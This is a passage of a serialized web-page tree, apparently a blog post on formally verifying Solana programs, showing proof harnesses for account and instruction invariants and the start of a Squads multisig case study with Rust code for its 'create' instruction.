21,"tag":85,"props":22182,"children":22185},{"className":22183,"style":22184},[4808],"height:0.4747em;",[22186],{"type":21,"tag":85,"props":22187,"children":22188},{},[],{"type":21,"tag":85,"props":22190,"children":22192},{"className":22191,"style":4896},[4857],[],{"type":21,"tag":85,"props":22194,"children":22196},{"className":22195},[4776],[22197,22207,22212,22217,22222],{"type":21,"tag":85,"props":22198,"children":22200},{"className":22199},[4776,26],[22201],{"type":21,"tag":85,"props":22202,"children":22204},{"className":22203},[4776],[22205],{"type":26,"value":22206},"invariant",{"type":21,"tag":85,"props":22208,"children":22210},{"className":22209},[22145],[22211],{"type":26,"value":1439},{"type":21,"tag":85,"props":22213,"children":22215},{"className":22214},[4776,22016],[22216],{"type":26,"value":335},{"type":21,"tag":85,"props":22218,"children":22220},{"className":22219},[4776,22016],[22221],{"type":26,"value":22107},{"type":21,"tag":85,"props":22223,"children":22225},{"className":22224},[22167],[22226],{"type":26,"value":1900},{"type":21,"tag":22,"props":22228,"children":22229},{},[22230],{"type":21,"tag":66,"props":22231,"children":22233},{"className":22232},[4748,4749],[22234],{"type":21,"tag":85,"props":22235,"children":22237},{"className":22236},[4754],[22238],{"type":21,"tag":85,"props":22239,"children":22241},{"className":22240,"ariaHidden":4760},[4759],[22242,22273],{"type":21,"tag":85,"props":22243,"children":22245},{"className":22244},[4765],[22246,22250,22255,22260,22264,22269],{"type":21,"tag":85,"props":22247,"children":22249},{"className":22248,"style":22011},[4770],[],{"type":21,"tag":85,"props":22251,"children":22253},{"className":22252,"style":22017},[4776,22016],[22254],{"type":26,"value":22020},{"type":21,"tag":85,"props":22256,"children":22258},{"className":22257},[4776],[22259],{"type":26,"value":4779},{"type":21,"tag":85,"props":22261,"children":22263},{"className":22262,"style":4955},[4857],[],{"type":21,"tag":85,"props":22265,"children":22267},{"className":22266},[4960],[22268],{"type":26,"value":22035},{"type":21,"tag":85,"props":22270,"children":22272},{"className":22271,"style":4955},[4857],[],{"type":21,"tag":85,"props":22274,"children":22276},{"className":22275},[4765],[22277,22281,22404,22408],{"type":21,"tag":85,"props":22278,"children":22280},{"className":22279,"style":22047},[4770],[],{"type":21,"tag":85,"props":22282,"children":22284},{"className":22283},[22052],[22285,22290],{"type":21,"tag":85,"props":22286,"children":22288},{"className":22287,"style":22059},[22052,22057,22058],[22289],{"type":26,"value":22062},{"type":21,"tag":85,"props":22291,"children":22293},{"className":22292},[4793],[22294],{"type":21,"tag":85,"props":22295,"children":22297},{"className":22296},[4798,22070],[22298,22393],{"type":21,"tag":85,"props":22299,"children":22301},{"className":22300},[4803],[22302,22388],{"type":21,"tag":85,"props":22303,"children":22305},{"className":22304,"style":22079},[4808],[22306],{"type":21,"tag":85,"props":22307,"children":22308},{"style":22083},[22309,22313],{"type":21,"tag":85,"props":22310,"children":22312},{"className":22311,"style":4818},[4817],[],{"type":21,"tag":85,"props":22314,"children":22316},{"className":22315},[4823,4824,4825,4826],[22317],{"type":21,"tag":85,"props":22318,"children":22320},{"className":22319},[4776,4826],[22321,22326,22331,22340,22345,22354,22363,22368,22373,22378,22383],{"type":21,"tag":85,"props":22322,"children":22324},{"className":22323},[4776,22016,4826],[22325],{"type":26,"value":335},{"type":21,"tag":85,"props":22327,"children":22329},{"className":22328},[4776,22016,4826],[22330],{"type":26,"value":22107},{"type":21,"tag":85,"props":22332,"children":22334},{"className":22333},[4857,4826],[22335],{"type":21,"tag":85,"props":22336,"children":22338},{"className":22337},[4826],[22339],{"type":26,"value":22117},{"type":21,"tag":85,"props":22341,"children":22343},{"className":22342},[4960,4826],[22344],{"type":26,"value":22123},{"type":21,"tag":85,"props":22346,"children":22348},{"className":22347},[4857,4826],[22349],{"type":21,"tag":85,"props":22350,"children":22352},{"className":22351},[4826],[22353],{"type":26,"value":22117},{"type":21,"tag":85,"props":22355,"children":22357},{"className":22356},[4776,26,4826],[22358],{"type":21,"tag":85,"props":22359,"children":22361},{"className":22360},[4776,4826],[22362],{"type":26,"value":21957},{"type":21,"tag":85,"props":22364,"children":22366},{"className":22365},[22145,4826],[22367],{"type":26,"value":1439},{"type":21,"tag":85,"props":22369,"children":22371},{"className":22370},[4776,22016,4826],[22372],{"type":26,"value":3918},{"type":21,"tag":85,"props":22374,"children":22376},{"className":22375},[4776,22016,4826],[22377],{"type":26,"value":22158},{"type":21,"tag":85,"props":22379,"children":22381},{"className":22380},[4776,22016,4826],[22382],{"type":26,"value":19702},{"type":21,"tag":85,"props":22384,"children":22386},{"className":22385},[22167,4826],[22387],{"type":26,"value":1900},{"type":21,"tag":85,"props":22389,"children":22391},{"className":22390},[22173],[22392],{"type":26,"value":22176},{"type":21,"tag":85,"props":22394,"children":22396},{"className":22395},[4803],[22397],{"type":21,"tag":85,"props":22398,"children":22400},{"className":22399,"style":22184},[4808],[22401],{"type":21,"tag":85,"props":22402,"children":22403},{},[],{"type":21,"tag":85,"props":22405,"children":22407},{"className":22406,"style":4896},[4857],[],{"type":21,"tag":85,"props":22409,"children":22411},{"className":22410},[4776],[22412,22421,22426,22431,22436],{"type":21,"tag":85,"props":22413,"children":22415},{"className":22414},[4776,26],[22416],{"type":21,"tag":85,"props":22417,"children":22419},{"className":22418},[4776],[22420],{"type":26,"value":22206},{"type":21,"tag":85,"props":22422,"children":22424},{"className":22423},[22145],[22425],{"type":26,"value":1439},{"type":21,"tag":85,"props":22427,"children":22429},{"className":22428},[4776,22016],[22430],{"type":26,"value":335},{"type":21,"tag":85,"props":22432,"children":22434},{"className":22433},[4776,22016],[22435],{"type":26,"value":22107},{"type":21,"tag":85,"props":22437,"children":22439},{"className":22438},[22167],[22440],{"type":26,"value":1900},{"type":21,"tag":22,"props":22442,"children":22443},{},[22444],{"type":26,"value":22445},"Our instruction invariants are represented as:",{"type":21,"tag":17108,"props":22447,"children":22448},{},[22449,22485],{"type":21,"tag":845,"props":22450,"children":22451},{},[22452,22479,22480],{"type":21,"tag":66,"props":22453,"children":22455},{"className":22454},[4748,4749],[22456],{"type":21,"tag":85,"props":22457,"children":22459},{"className":22458},[4754],[22460],{"type":21,"tag":85,"props":22461,"children":22463},{"className":22462,"ariaHidden":4760},[4759],[22464],{"type":21,"tag":85,"props":22465,"children":22467},{"className":22466},[4765],[22468,22472],{"type":21,"tag":85,"props":22469,"children":22471},{"className":22470,"style":22011},[4770],[],{"type":21,"tag":85,"props":22473,"children":22476},{"className":22474,"style":22475},[4776,22016],"margin-right:0.05764em;",[22477],{"type":26,"value":22478},"S",{"type":26,"value":15750},{"type":21,"tag":66,"props":22481,"children":22483},{"className":22482},[],[22484],{"type":26,"value":20582},{"type":21,"tag":845,"props":22486,"children":22487},{},[22488,22514,22515],{"type":21,"tag":66,"props":22489,"children":22491},{"className":22490},[4748,4749],[22492],{"type":21,"tag":85,"props":22493,"children":22495},{"className":22494},[4754],[22496],{"type":21,"tag":85,"props":22497,"children":22499},{"className":22498,"ariaHidden":4760},[4759],[22500],{"type":21,"tag":85,"props":22501,"children":22503},{"className":22502},[4765],[22504,22508],{"type":21,"tag":85,"props":22505,"children":22507},{"className":22506,"style":22011},[4770],[],{"type":21,"tag":85,"props":22509,"children":22511},{"className":22510,"style":22475},[4776,22016],[22512],{"type":26,"value":22513},"E",{"type":26,"value":15750},{"type":21,"tag":66,"props":22516,"children":22518},{"className":22517},[],[22519],{"type":26,"value":20589},{"type":21,"tag":22,"props":22521,"children":22522},{},[22523,22525,22552,22554,22559,22561,22567],{"type":26,"value":22524},"And ",{"type":21,"tag":66,"props":22526,"children":22528},{"className":22527},[4748,4749],[22529],{"type":21,"tag":85,"props":22530,"children":22532},{"className":22531},[4754],[22533],{"type":21,"tag":85,"props":22534,"children":22536},{"className":22535,"ariaHidden":4760},[4759],[22537],{"type":21,"tag":85,"props":22538,"children":22540},{"className":22539},[4765],[22541,22545],{"type":21,"tag":85,"props":22542,"children":22544},{"className":22543,"style":22011},[4770],[],{"type":21,"tag":85,"props":22546,"children":22549},{"className":22547,"style":22548},[4776,22016],"margin-right:0.07153em;",[22550],{"type":26,"value":22551},"K",{"type":26,"value":22553}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":21,"tag":66,"props":22555,"children":22557},{"className":22556},[],[22558],{"type":26,"value":20917},{"type":26,"value":22560}," not an ",{"type":21,"tag":66,"props":22562,"children":22564},{"className":22563},[],[22565],{"type":26,"value":22566},"Err",{"type":26,"value":21170},{"type":21,"tag":22,"props":22569,"children":22570},{},[22571],{"type":26,"value":22572},"In order to verify these conditions we need to verify three cases:",{"type":21,"tag":10022,"props":22574,"children":22576},{"id":22575},"account-invariants-1",[22577],{"type":26,"value":22578},"Account invariants",{"type":21,"tag":22,"props":22580,"children":22581},{},[22582,22584,22615,22617,22647,22649,22679],{"type":26,"value":22583},"After we execute an instruction, either the function should error and be reverted (",{"type":21,"tag":66,"props":22585,"children":22587},{"className":22586},[4748,4749],[22588],{"type":21,"tag":85,"props":22589,"children":22591},{"className":22590},[4754],[22592],{"type":21,"tag":85,"props":22593,"children":22595},{"className":22594,"ariaHidden":4760},[4759],[22596],{"type":21,"tag":85,"props":22597,"children":22599},{"className":22598},[4765],[22600,22604,22610],{"type":21,"tag":85,"props":22601,"children":22603},{"className":22602,"style":22011},[4770],[],{"type":21,"tag":85,"props":22605,"children":22607},{"className":22606},[4776],[22608],{"type":26,"value":22609},"¬",{"type":21,"tag":85,"props":22611,"children":22613},{"className":22612,"style":22548},[4776,22016],[22614],{"type":26,"value":22551},{"type":26,"value":22616},") or the account post-invariants should hold (",{"type":21,"tag":66,"props":22618,"children":22620},{"className":22619},[4748,4749],[22621],{"type":21,"tag":85,"props":22622,"children":22624},{"className":22623},[4754],[22625],{"type":21,"tag":85,"props":22626,"children":22628},{"className":22627,"ariaHidden":4760},[4759],[22629],{"type":21,"tag":85,"props":22630,"children":22632},{"className":22631},[4765],[22633,22637,22642],{"type":21,"tag":85,"props":22634,"children":22636},{"className":22635,"style":22011},[4770],[],{"type":21,"tag":85,"props":22638,"children":22640},{"className":22639,"style":22017},[4776,22016],[22641],{"type":26,"value":22020},{"type":21,"tag":85,"props":22643,"children":22645},{"className":22644},[4776],[22646],{"type":26,"value":4779},{"type":26,"value":22648},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":21,"tag":66,"props":22650,"children":22652},{"className":22651},[4748,4749],[22653],{"type":21,"tag":85,"props":22654,"children":22656},{"className":22655},[4754],[22657],{"type":21,"tag":85,"props":22658,"children":22660},{"className":22659,"ariaHidden":4760},[4759],[22661],{"type":21,"tag":85,"props":22662,"children":22664},{"className":22663},[4765],[22665,22669,22674],{"type":21,"tag":85,"props":22666,"children":22668},{"className":22667,"style":22011},[4770],[],{"type":21,"tag":85,"props":22670,"children":22672},{"className":22671,"style":22017},[4776,22016],[22673],{"type":26,"value":22020},{"type":21,"tag":85,"props":22675,"children":22677},{"className":22676},[4776],[22678],{"type":26,"value":4789},{"type":26,"value":22680},") should hold since we will verify all of the functions eventually.",{"type":21,"tag":22,"props":22682,"children":22683},{},[22684,22686],{"type":26,"value":22685},"So we are trying to prove that ",{"type":21,"tag":66,"props":22687,"children":22689},{"className":22688},[4748,4749],[22690],{"type":21,"tag":85,"props":22691,"children":22693},{"className":22692},[4754],[22694],{"type":21,"tag":85,"props":22695,"children":22697},{"className":22696,"ariaHidden":4760},[4759],[22698,22735,22767],{"type":21,"tag":85,"props":22699,"children":22701},{"className":22700},[4765],[22702,22706,22711,22716,22721,22725,22731],{"type":21,"tag":85,"props":22703,"children":22705},{"className":22704,"style":4878},[4770],[],{"type":21,"tag":85,"props":22707,"children":22709},{"className":22708},[22145],[22710],{"type":26,"value":1439},{"type":21,"tag":85,"props":22712,"children":22714},{"className":22713,"style":22017},[4776,22016],[22715],{"type":26,"value":22020},{"type":21,"tag":85,"props":22717,"children":22719},{"className":22718},[4776],[22720],{"type":26,"value":4789},{"type":21,"tag":85,"props":22722,"children":22724},{"className":22723,"style":4858},[4857],[],{"type":21,"tag":85,"props":22726,"children":22728},{"className":22727},[4863],[22729],{"type":26,"value":22730},"∧",{"type":21,"tag":85,"props":22732,"children":22734},{"className":22733,"style":4858},[4857],[],{"type":21,"tag":85,"props":22736,"children":22738},{"className":22737},[4765],[22739,22743,22748,22753,22757,22763],{"type":21,"tag":85,"props":22740,"children":22742},{"className":22741,"style":4878},[4770],[],{"type":21,"tag":85,"props":22744,"children":22746},{"className":22745,"style":22548},[4776,22016],[22747],{"type":26,"value":22551},{"type":21,"tag":85,"props":22749,"children":22751},{"className":22750},[22167],[22752],{"type":26,"value":1900},{"type":21,"tag":85,"props":22754,"children":22756},{"className":22755,"style":4955},[4857],[],{"type":21,"tag":85,"props":22758,"children":22760},{"className":22759},[4960],[22761],{"type":26,"value":22762},"→",{"type":21,"tag":85,"props":22764,"children":22766},{"className":22765,"style":4955},[4857],[],{"type":21,"tag":85,"props":22768,"children":22770},{"className":22769},[4765],[22771,22775,22780],{"type":21,"tag":85,"props":22772,"children":22774},{"className":22773,"style":22011},[4770],[],{"type":21,"tag":85,"props":22776,"children":22778},{"className":22777,"style":22017},[4776,22016],[22779],{"type":26,"value":22020},{"type":21,"tag":85,"props":22781,"children":22783},{"className":22782},[4776],[22784],{"type":26,"value":4779},{"type":21,"tag":22,"props":22786,"children":22787},{},[22788],{"type":26,"value":22789},"We can construct a proof harness like the following:",{"type":21,"tag":75,"props":22791,"children":22793},{"code":22792,"language":19887,"meta":7,"className":19888,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[22794],{"type":21,"tag":66,"props":22795,"children":22796},{"__ignoreMap":7},[22797,22805,22822],{"type":21,"tag":85,"props":22798,"children":22799},{"class":87,"line":88},[22800],{"type":21,"tag":85,"props":22801,"children":22802},{"style":114},[22803],{"type":26,"value":22804},"assume(P0)\n",{"type":21,"tag":85,"props":22806,"children":22807},{"class":87,"line":98},[22808,22813,22817],{"type":21,"tag":85,"props":22809,"children":22810},{"style":114},[22811],{"type":26,"value":22812},"res ",{"type":21,"tag":85,"props":22814,"children":22815},{"style":169},[22816],{"type":26,"value":741},{"type":21,"tag":85,"props":22818,"children":22819},{"style":114},[22820],{"type":26,"value":22821}," instruction_handler(...)\n",{"type":21,"tag":85,"props":22823,"children":22824},{"class":87,"line":151},[22825,22829,22833,22838,22843,22848],{"type":21,"tag":85,"props":22826,"children":22827},{"style":2885},[22828],{"type":26,"value":20411},{"type":21,"tag":85,"props":22830,"children":22831},{"style":114},[22832],{"type":26,"value":1439},{"type":21,"tag":85,"props":22834,"children":22836},{"style":22835},"--shiki-default:#F44747",[22837],{"type":26,"value":21049},{"type":21,"tag":85,"props":22839,"children":22840},{"style":114},[22841],{"type":26,"value":22842},"K ",{"type":21,"tag":85,"props":22844,"children":22845},{"style":22835},[22846],{"type":26,"value":22847},"||",{"type":21,"tag":85,"props":22849,"children":22850},{"style":114},[22851],{"type":26,"value":22852}," P1)\n",{"type":21,"tag":22,"props":22854,"children":22855},{},[22856],{"type":26,"value":22857},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":21,"tag":10022,"props":22859,"children":22861},{"id":22860},"positive-instruction-invariant",[22862],{"type":26,"value":22863},"Positive instruction invariant",{"type":21,"tag":22,"props":22865,"children":22866},{},[22867,22869,22875,22877,22928],{"type":26,"value":22868},"Next we need to prove that ",{"type":21,"tag":66,"props":22870,"children":22872},{"className":22871},[],[22873],{"type":26,"value":22874},"success_if",{"type":26,"value":22876}," is a sufficient condition for instruction success. I.e. ",{"type":21,"tag":66,"props":22878,"children":22880},{"className":22879},[4748,4749],[22881],{"type":21,"tag":85,"props":22882,"children":22884},{"className":22883},[4754],[22885],{"type":21,"tag":85,"props":22886,"children":22888},{"className":22887,"ariaHidden":4760},[4759],[22889,22915],{"type":21,"tag":85,"props":22890,"children":22892},{"className":22891},[4765],[22893,22897,22902,22906,22911],{"type":21,"tag":85,"props":22894,"children":22896},{"className":22895,"style":22011},[4770],[],{"type":21,"tag":85,"props":22898,"children":22900},{"className":22899,"style":22475},[4776,22016],[22901],{"type":26,"value":22478},{"type":21,"tag":85,"props":22903,"children":22905},{"className":22904,"style":4955},[4857],[],{"type":21,"tag":85,"props":22907,"children":22909},{"className":22908},[4960],[22910],{"type":26,"value":22762},{"type":21,"tag":85,"props":22912,"children":22914},{"className":22913,"style":4955},[4857],[],{"type":21,"tag":85,"props":22916,"children":22918},{"className":22917},[4765],[22919,22923],{"type":21,"tag":85,"props":22920,"children":22922},{"className":22921,"style":22011},[4770],[],{"type":21,"tag":85,"props":22924,"children":22926},{"className":22925,"style":22548},[4776,22016],[22927],{"type":26,"value":22551},{"type":26,"value":73},{"type":21,"tag":22,"props":22930,"children":22931},{},[22932],{"type":26,"value":22933},"Just like before we can construct a proof harness:",{"type":21,"tag":75,"props":22935,"children":22937},{"code":22936,"language":19887,"meta":7,"className":19888,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[22938],{"type":21,"tag":66,"props":22939,"children":22940},{"__ignoreMap":7},[22941,22949,22964],{"type":21,"tag":85,"props":22942,"children":22943},{"class":87,"line":88},[22944],{"type":21,"tag":85,"props":22945,"children":22946},{"style":114},[22947],{"type":26,"value":22948},"assume(S)\n",{"type":21,"tag":85,"props":22950,"children":22951},{"class":87,"line":98},[22952,22956,22960],{"type":21,"tag":85,"props":22953,"children":22954},{"style":114},[22955],{"type":26,"value":22812},{"type":21,"tag":85,"props":22957,"children":22958},{"style":169},[22959],{"type":26,"value":741},{"type":21,"tag":85,"props":22961,"children":22962},{"style":114},[22963],{"type":26,"value":22821},{"type":21,"tag":85,"props":22965,"children":22966},{"class":87,"line":151},[22967,22971],{"type":21,"tag":85,"props":22968,"children":22969},{"style":2885},[22970],{"type":26,"value":20411},{"type":21,"tag":85,"props":22972,"children":22973},{"style":114},[22974],{"type":26,"value":22975},"(K)\n",{"type":21,"tag":22,"props":22977,"children":22978},{},[22979,22981,22986,22988,23000],{"type":26,"value":22980},"This proof assures that whenever ",{"type":21,"tag":66,"props":22982,"children":22984},{"className":22983},[],[22985],{"type":26,"value":20582},{"type":26,"value":22987}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":21,"tag":39,"props":22989,"children":22990},{},[22991,22993,22998],{"type":26,"value":22992},"even if ",{"type":21,"tag":66,"props":22994,"children":22996},{"className":22995},[],[22997],{"type":26,"value":20582},{"type":26,"value":22999}," is not satisfied",{"type":26,"value":23001},". To specify explicit error conditions we need our third and final proof.",{"type":21,"tag":10022,"props":23003,"children":23005},{"id":23004},"_3-negative-instruction-invariant",[23006],{"type":26,"value":23007},"3. Negative instruction invariant",{"type":21,"tag":22,"props":23009,"children":23010},{},[23011,23013,23018,23020,23076],{"type":26,"value":23012},"Finally, we want to prove that ",{"type":21,"tag":66,"props":23014,"children":23016},{"className":23015},[],[23017],{"type":26,"value":20589},{"type":26,"value":23019}," is a sufficient condition for instruction failure. I.e. ",{"type":21,"tag":66,"props":23021,"children":23023},{"className":23022},[4748,4749],[23024],{"type":21,"tag":85,"props":23025,"children":23027},{"className":23026},[4754],[23028],{"type":21,"tag":85,"props":23029,"children":23031},{"className":23030,"ariaHidden":4760},[4759],[23032,23058],{"type":21,"tag":85,"props":23033,"children":23035},{"className":23034},[4765],[23036,23040,23045,23049,23054],{"type":21,"tag":85,"props":23037,"children":23039},{"className":23038,"style":22011},[4770],[],{"type":21,"tag":85,"props":23041,"children":23043},{"className":23042,"style":22475},[4776,22016],[23044],{"type":26,"value":22513},{"type":21,"tag":85,"props":23046,"children":23048},{"className":23047,"style":4955},[4857],[],{"type":21,"tag":85,"props":23050,"children":23052},{"className":23051},[4960],[23053],{"type":26,"value":22762},{"type":21,"tag":85,"props":23055,"children":23057},{"className":23056,"style":4955},[4857],[],{"type":21,"tag":85,"props":23059,"children":23061},{"className":23060},[4765],[23062,23066,23071],{"type":21,"tag":85,"props":23063,"children":23065},{"className":23064,"style":22011},[4770],[],{"type":21,"tag":85,"props":23067,"children":23069},{"className":23068},[4776],[23070],{"type":26,"value":22609},{"type":21,"tag":85,"props":23072,"children":23074},{"className":23073,"style":22548},[4776,22016],[23075],{"type":26,"value":22551},{"type":26,"value":73},{"type":21,"tag":22,"props":23078,"children":23079},{},[23080],{"type":26,"value":23081},"This harness looks just like the previous one:",{"type":21,"tag":75,"props":23083,"children":23085},{"code":23084,"language":19887,"meta":7,"className":19888,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[23086],{"type":21,"tag":66,"props":23087,"children":23088},{"__ignoreMap":7},[23089,23097,23112],{"type":21,"tag":85,"props":23090,"children":23091},{"class":87,"line":88},[23092],{"type":21,"tag":85,"props":23093,"children":23094},{"style":114},[23095],{"type":26,"value":23096},"assume(E)\n",{"type":21,"tag":85,"props":23098,"children":23099},{"class":87,"line":98},[23100,23104,23108],{"type":21,"tag":85,"props":23101,"children":23102},{"style":114},[23103],{"type":26,"value":22812},{"type":21,"tag":85,"props":23105,"children":23106},{"style":169},[23107],{"type":26,"value":741},{"type":21,"tag":85,"props":23109,"children":23110},{"style":114},[23111],{"type":26,"value":22821},{"type":21,"tag":85,"props":23113,"children":23114},{"class":87,"line":151},[23115,23119,23123,23127],{"type":21,"tag":85,"props":23116,"children":23117},{"style":2885},[23118],{"type":26,"value":20411},{"type":21,"tag":85,"props":23120,"children":23121},{"style":114},[23122],{"type":26,"value":1439},{"type":21,"tag":85,"props":23124,"children":23125},{"style":22835},[23126],{"type":26,"value":21049},{"type":21,"tag":85,"props":23128,"children":23129},{"style":114},[23130],{"type":26,"value":23131},"K)\n",{"type":21,"tag":22,"props":23133,"children":23134},{},[23135,23137,23141],{"type":26,"value":23136},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":21,"tag":39,"props":23138,"children":23139},{},[23140],{"type":26,"value":16792},{"type":26,"value":23142}," the account invariants we expect are always being preserved.",{"type":21,"tag":54,"props":23144,"children":23146},{"id":23145},"case-study-squads-multisig",[23147],{"type":26,"value":23148},"Case study: Squads Multisig",{"type":21,"tag":22,"props":23150,"children":23151},{},[23152,23154,23159],{"type":26,"value":23153},"During our research, we focused on formally verifying aspects of the ",{"type":21,"tag":335,"props":23155,"children":23157},{"href":19249,"rel":23156},[339],[23158],{"type":26,"value":19253},{"type":26,"value":73},{"type":21,"tag":22,"props":23161,"children":23162},{},[23163,23165,23171,23173,23179],{"type":26,"value":23164},"The program defines a Multisig account (",{"type":21,"tag":66,"props":23166,"children":23168},{"className":23167},[],[23169],{"type":26,"value":23170},"Ms",{"type":26,"value":23172},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":21,"tag":66,"props":23174,"children":23176},{"className":23175},[],[23177],{"type":26,"value":23178},"threshold",{"type":26,"value":23180}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":21,"tag":22,"props":23182,"children":23183},{},[23184],{"type":26,"value":23185},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":21,"tag":22,"props":23187,"children":23188},{},[23189],{"type":26,"value":23190},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":21,"tag":841,"props":23192,"children":23193},{},[23194,23199,23204,23209],{"type":21,"tag":845,"props":23195,"children":23196},{},[23197],{"type":26,"value":23198},"Incrementally verifying minimum requirements to create a multisig",{"type":21,"tag":845,"props":23200,"children":23201},{},[23202],{"type":26,"value":23203},"Verify threshold requirements",{"type":21,"tag":845,"props":23205,"children":23206},{},[23207],{"type":26,"value":23208},"Verify requirements to remove a member",{"type":21,"tag":845,"props":23210,"children":23211},{},[23212],{"type":26,"value":23213},"Safety guarantees",{"type":21,"tag":10022,"props":23215,"children":23217},{"id":23216},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[23218],{"type":26,"value":23219},"1. Incrementally verifying minimum requirements to create a multisig",{"type":21,"tag":22,"props":23221,"children":23222},{},[23223,23225,23230],{"type":26,"value":23224},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":21,"tag":66,"props":23226,"children":23228},{"className":23227},[],[23229],{"type":26,"value":20582},{"type":26,"value":23231}," expression.",{"type":21,"tag":22,"props":23233,"children":23234},{},[23235,23237,23242,23244,23250],{"type":26,"value":23236},"Creating a multisig (",{"type":21,"tag":66,"props":23238,"children":23240},{"className":23239},[],[23241],{"type":26,"value":23170},{"type":26,"value":23243},") requires invoking the ",{"type":21,"tag":66,"props":23245,"children":23247},{"className":23246},[],[23248],{"type":26,"value":23249},"create",{"type":26,"value":23251}," instruction:",{"type":21,"tag":75,"props":23253,"children":23255},{"code":23254,"language":79,"meta":7,"className":77,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n    #[account(\n        init,\n        payer = creator,\n        space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n        seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n    )]\n    pub multisig: Account\u003C'info, Ms>,\n\n    #[account(mut)]\n    pub creator: Signer\u003C'info>,\n    pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n    ctx: Context\u003CCreate>,\n    threshold: u16,\n    create_key: Pubkey,\n    members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n    // sort the members and remove duplicates\n    let mut members = members;\n    members.sort();\n    members.dedup();\n\n    // check we don't exceed u16\n    let total_members = members.len();\n    if total_members \u003C 1 {\n        return err!(MsError::EmptyMembers);\n    }\n\n    // make sure we don't exceed u16 on first call\n    if total_members > usize::from(u16::MAX) {\n        return err!(MsError::MaxMembersReached);\n    }\n\n    // make sure threshold is valid\n    if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n        return err!(MsError::InvalidThreshold);\n    }\n\n    ctx.accounts.multisig.init(\n        threshold,\n        create_key,\n        members,\n        *ctx.bumps.get(\"multisig\").unwrap(),\n    )\n}\n",[23256],{"type":21,"tag":66,"props":23257,"children":23258},{"__ignoreMap":7},[23259,23276,23331,23361,23369,23377,23394,23445,23495,23503,23544,23551,23567,23600,23642,23649,23656,23675,23703,23723,23743,23771,23790,23798,23826,23846,23866,23873,23881,23913,23936,23971,23979,23987,23996,24038,24071,24079,24087,24096,24172,24205,24213,24221,24258,24271,24284,24297,24351,24360],{"type":21,"tag":85,"props":23260,"children":23261},{"class":87,"line":88},[23262,23267,23272],{"type":21,"tag":85,"props":23263,"children":23264},{"style":114},[23265],{"type":26,"value":23266},"#[derive(",{"type":21,"tag":85,"props":23268,"children":23269},{"style":108},[23270],{"type":26,"value":23271},"Accounts",{"type":21,"tag":85,"props":23273,"children":23274},{"style":114},[23275],{"type":26,"value":20686},{"type":21,"tag":85,"props":23277,"children":23278},{"class":87,"line":98},[23279,23284,23288,23292,23297,23301,23305,23310,23314,23318,23322,23326],{"type":21,"tag":85,"props":23280,"children":23281},{"style":114},[23282],{"type":26,"value":23283},"#[instruction(threshold",{"type":21,"tag":85,"props":23285,"children":23286},{"style":169},[23287],{"type":26,"value":172},{"type":21,"tag":85,"props":23289,"children":23290},{"style":108},[23291],{"type":26,"value":21458},{"type":21,"tag":85,"props":23293,"children":23294},{"style":114},[23295],{"type":26,"value":23296},", create_key",{"type":21,"tag":85,"props":23298,"children":23299},{"style":169},[23300],{"type":26,"value":172},{"type":21,"tag":85,"props":23302,"children":23303},{"style":108},[23304],{"type":26,"value":21285},{"type":21,"tag":85,"props":23306,"children":23307},{"style":114},[23308],{"type":26,"value":23309},", members",{"type":21,"tag":85,"props":23311,"children":23312},{"style":169},[23313],{"type":26,"value":172},{"type":21,"tag":85,"props":23315,"children":23316},{"style":108},[23317],{"type":26,"value":21817},{"type":21,"tag":85,"props":23319,"children":23320},{"style":114},[23321],{"type":26,"value":117},{"type":21,"tag":85,"props":23323,"children":23324},{"style":108},[23325],{"type":26,"value":21826},{"type":21,"tag":85,"props":23327,"children":23328},{"style":114},[23329],{"type":26,"value":23330},">)]\n",{"type":21,"tag":85,"props":23332,"children":23333},{"class":87,"line":151},[23334,23338,23342,23347,23352,23357],{"type":21,"tag":85,"props":23335,"children":23336},{"style":102},[23337],{"type":26,"value":14108},{"type":21,"tag":85,"props":23339,"children":23340},{"style":102},[23341],{"type":26,"value":21579},{"type":21,"tag":85,"props":23343,"children":23344},{"style":108},[23345],{"type":26,"value":23346}," Create",{"type":21,"tag":85,"props":23348,"children":23349},{"style":114},[23350],{"type":26,"value":23351},"\u003C'",{"type":21,"tag":85,"props":23353,"children":23354},{"style":108},[23355],{"type":26,"value":23356},"info",{"type":21,"tag":85,"props":23358,"children":23359},{"style":114},[23360],{"type":26,"value":1627},{"type":21,"tag":85,"props":23362,"children":23363},{"class":87,"line":160},[23364],{"type":21,"tag":85,"props":23365,"children":23366},{"style":114},[23367],{"type":26,"value":23368},"    #[account(\n",{"type":21,"tag":85,"props":23370,"children":23371},{"class":87,"line":185},[23372],{"type":21,"tag":85,"props":23373,"children":23374},{"style":114},[23375],{"type":26,"value":23376},"        init,\n",{"type":21,"tag":85,"props":23378,"children":23379},{"class":87,"line":501},[23380,23385,23389],{"type":21,"tag":85,"props":23381,"children":23382},{"style":114},[23383],{"type":26,"value":23384},"        payer ",{"type":21,"tag":85,"props":23386,"children":23387},{"style":169},[23388],{"type":26,"value":741},{"type":21,"tag":85,"props":23390,"children":23391},{"style":114},[23392],{"type":26,"value":23393}," 